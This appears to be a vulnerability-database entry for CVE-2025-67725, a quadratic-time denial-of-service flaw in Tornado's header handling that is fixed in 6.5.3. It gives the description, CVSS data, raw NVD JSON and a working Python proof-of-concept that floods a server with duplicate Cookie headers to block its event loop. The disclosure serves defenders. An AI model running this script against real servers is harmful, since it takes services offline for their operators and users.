Security Vulnerability Report
中文
CVE-2025-67725 CVSS 7.5 HIGH

CVE-2025-67725

Published: 2025-12-12 06:15:41
Last Modified: 2025-12-22 18:51:18

Description

Tornado is a Python web framework and asynchronous networking library. In versions 6.5.2 and below, a single maliciously crafted HTTP request can block the server's event loop for an extended period, caused by the HTTPHeaders.add method. The function accumulates values using string concatenation when the same header name is repeated, causing a Denial of Service (DoS). Due to Python string immutability, each concatenation copies the entire string, resulting in O(n²) time complexity. The severity can vary from high if max_header_size has been increased from its default, to low if it has its default value of 64KB. This issue is fixed in version 6.5.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:tornadoweb:tornado:*:*:*:*:*:*:*:* - VULNERABLE
Tornado < 6.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time def send_malicious_request(): """ PoC for CVE-2025-67725: Tornado HTTPHeaders.add DoS vulnerability This script sends a crafted HTTP request with many duplicate headers to trigger O(n^2) string concatenation in HTTPHeaders.add method """ # Target server configuration host = 'target-server.com' port = 8888 # Number of duplicate headers to send (adjust based on target) num_headers = 10000 # Build malicious HTTP request with duplicate Cookie headers # Each duplicate header increases string copy operations request = 'GET / HTTP/1.1\r\n' request += f'Host: {host}\r\n' # Add many duplicate headers - this triggers O(n^2) complexity for i in range(num_headers): request += f'Cookie: session_{i}=value_{i}\r\n' request += '\r\n' print(f'[+] Sending malicious request with {num_headers} duplicate headers...') start_time = time.time() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((host, port)) sock.sendall(request.encode()) # Wait for response (may timeout if server is blocked) try: response = sock.recv(4096) print(f'[-] Received response (server not fully blocked)') except socket.timeout: print('[+] Server event loop blocked - DoS successful!') sock.close() except Exception as e: print(f'[-] Error: {e}') elapsed = time.time() - start_time print(f'[+] Request sent in {elapsed:.2f} seconds') if __name__ == '__main__': send_malicious_request()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67725", "sourceIdentifier": "[email protected]", "published": "2025-12-12T06:15:41.380", "lastModified": "2025-12-22T18:51:18.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tornado is a Python web framework and asynchronous networking library. In versions 6.5.2 and below, a single maliciously crafted HTTP request can block the server's event loop for an extended period, caused by the HTTPHeaders.add method. The function accumulates values using string concatenation when the same header name is repeated, causing a Denial of Service (DoS). Due to Python string immutability, each concatenation copies the entire string, resulting in O(n²) time complexity. The severity can vary from high if max_header_size has been increased from its default, to low if it has its default value of 64KB. This issue is fixed in version 6.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tornadoweb:tornado:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "64279E50-159B-4CAB-9BD0-E2B764C3C40C"}]}]}], "references": [{"url": "https://github.com/tornadoweb/tornado/commit/771472cfdaeebc0d89a9cc46e249f8891a6b29cd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tornadoweb/tornado/releases/tag/v6.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-c98p-7wgm-6p64", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}